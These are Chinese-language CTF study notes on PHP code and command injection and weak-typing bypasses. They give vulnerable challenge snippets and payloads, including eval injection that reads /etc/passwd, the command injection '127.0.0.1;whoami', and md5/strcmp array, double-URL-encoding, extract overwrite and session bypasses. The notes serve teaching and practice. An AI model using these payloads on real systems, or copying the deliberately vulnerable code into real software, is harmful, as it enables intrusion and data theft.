PHP 弱型別 && CODE/COMMADN injection
CODE/COMMAND INJECTION
CODE INJECTION
https://www.freebuf.com/sectool/168653.html
EXAMPLE1
<?php $str = “echo \”hello “. $GET_[‘name’].”!!!\”;”; .是連線 雙引號注意就近。 Eval($str); \”雙引號轉義 因為echo 內容需要是字串 ?> 注意單引號雙引號區別 %22.system(%27ls%27);// 輸入,替換了$GET_[‘name’] %22 : “ %27: ‘ <?php $str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”; Eval($str); ?> ‘.cat /etc/passwd’ %22.system(‘cat /etc/passwd’);// 失敗%22.system(%27cat /etc/passwd%27);// 成功
COMMAND INJECTION
Example 1
<?php
System(‘ping –c $_GET[‘ip’]’ );
?>
127.0.0.1;whoami
PHP 弱型別
= ==
strcmp()
<?php if (isset($_GET['value'])) { if (strcmp($_GET['value'], $flag) == 0) die('Flag is:'.$flag); else print 'Flag is not here !'; } ?>
Strcmp= s1-s2
引數是兩個陣列,輸入陣列則錯誤,判斷相等
Urlcode 二次編碼繞過
/i 不區分大小寫
瀏覽器對使用者輸入資料自動解碼(比如輸入 %27)
<?php if(preg_match("/hackerDJ/i",$_GET[id])) { echo(" not allowed ! "); exit(); } $_GET[id] = urldecode($_GET[id]); //解碼 if($_GET[id] == "hackerDJ") { die('Flag is: '.$flag); } ?>
對D ,為 %44,再次urlencode,得到 %2544
整數型別大小比較
陣列在比較中恆大與具體值
其他型別和整形比較會先 intval()
<?php $temp = $_GET['id']; is_numeric($temp) ? die("retry !") : NULL; if($temp>6607){ die('Flag is: '.$flag); } else print 'Flag is not here !'; ?> Flag is not here !
Extract 變數覆蓋
Extract(array,extract_rules,prefix)
<?php $flags='test.txt'; extract($_GET); if(isset($id)) { $content=trim(file_get_contents($flags)); if($id==$content) { die('Flag is: '.$flag); } else { print 'Flag is not here !'; } } ?>
如果輸入id=$content
使用extract接收輸入,存在變數覆蓋,覆蓋flags
接收輸入後,flags=1,此時
file_get_contents($flags)
取不到檔案,故content為空
同時輸入id是空。 &是連線符,重新複製flags
輸出flag
Intval()
小數取整echo intval(9.999); // 9。最大值取決於作業系統
<?php $key = $_GET['key']; if(intval($key) > 1||intval($key) < 0){ die("key is not right"); } elseif (intval($key) < 1) { if ($key ==1) { die('Flag is: '.$flag); }else print 'key is not right !!!'; } ?> key is not right !!!
Php中弱比較,1==0.999999999999999999999999
比如 echo 1==0.999999999999999999999999 輸出1
正則截斷
Erge
Php版本小於5.3
遇到%00 預設字串結束
Preg_match()
Php>=5.3
遇到%00 預設字串結束
<?php if(isset($_GET['password'])){ if(preg_match("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){ print('You password not right'); } elseif(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){ if(strpos($_GET['password'], '*_*') !== FALSE){ die('Flag is:'.$flag); } else{ print('*_* have not been found'); } } else{ print('Invalid password'); } } ?>
1e8 >9999999 字串長度小於8
Eval() 注入
把字串當做PHP程式碼執行。只能執行不能回顯。
<?php if (isset($_GET['id'])) { $id = $_GET['id']; eval("var_dump($id);"); } ?>
閉合括號,註釋掉後面
Md5()弱比較
PHP中 md5對陣列加密返回NULL
對所有0e開頭(16進位制)字串認為相等
<?php if (isset($_GET['p1']) && isset($_GET['p2'])) { if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) == md5($_GET['p2'])) die('Flag is: '.$flag); else print 'Flag is not here !'; } ?>
輸入陣列用 ?p1[],多個用 &
Md5()強比較
== 只對值比較,兩邊先轉化為同種型別,若一方為數字另一方為空或null或陣列,現將字串轉化為0
=== 比較型別和值
<?php if (isset($_GET['p1']) && isset($_GET['p2'])) { if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) === md5($_GET['p2'])) die('Flag is: '.$flag); else print 'Flag is not here !'; } ?>
Sha()弱比較
對陣列加密返回NULL
<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo ' Your password can not be your name! '; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo ' Invalid password '; } else echo 'Flag is not here !'; ?> Flag is not here !
Strpos
查詢字串在字串第一次出現的位置。Strpos(string,find,start)。在string中查詢find
<?php if (isset($_GET['id'])) { $one = ord('0'); $nine = ord('9'); for($i = 0; $i < strlen($_GET['id']); $i++) { $digit = ord($_GET['id']{$i}); if(($digit < $one) || ($digit > $nine) ) { print("必須輸入數字才行"); return FALSE; } } if (strpos($_GET['id'], 'sss607') !== FALSE) die('Flag: '.$flag); else echo 'flag is not here ~'; } ?>
先判斷只有數字
Strpos對陣列查詢返回NULL,NULL!==flase
Session 驗證繞過
Session_start() 用來初始化session或從session倉庫載入已經存在的session變數
<?php @session_start(); print($_SESSION["password"]); if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print 'password is not right !'; $_SESSION['password']=rand(10000000,99999999); ?>
系統會判斷使用者輸入的password的值是否與當前session中password值相同。初始時session為空,故輸入password為空即可
若直接訪問過http://10.201.132.248:8090/13.session/session.php則session已經存在,不為空。清空快取或者換瀏覽器即可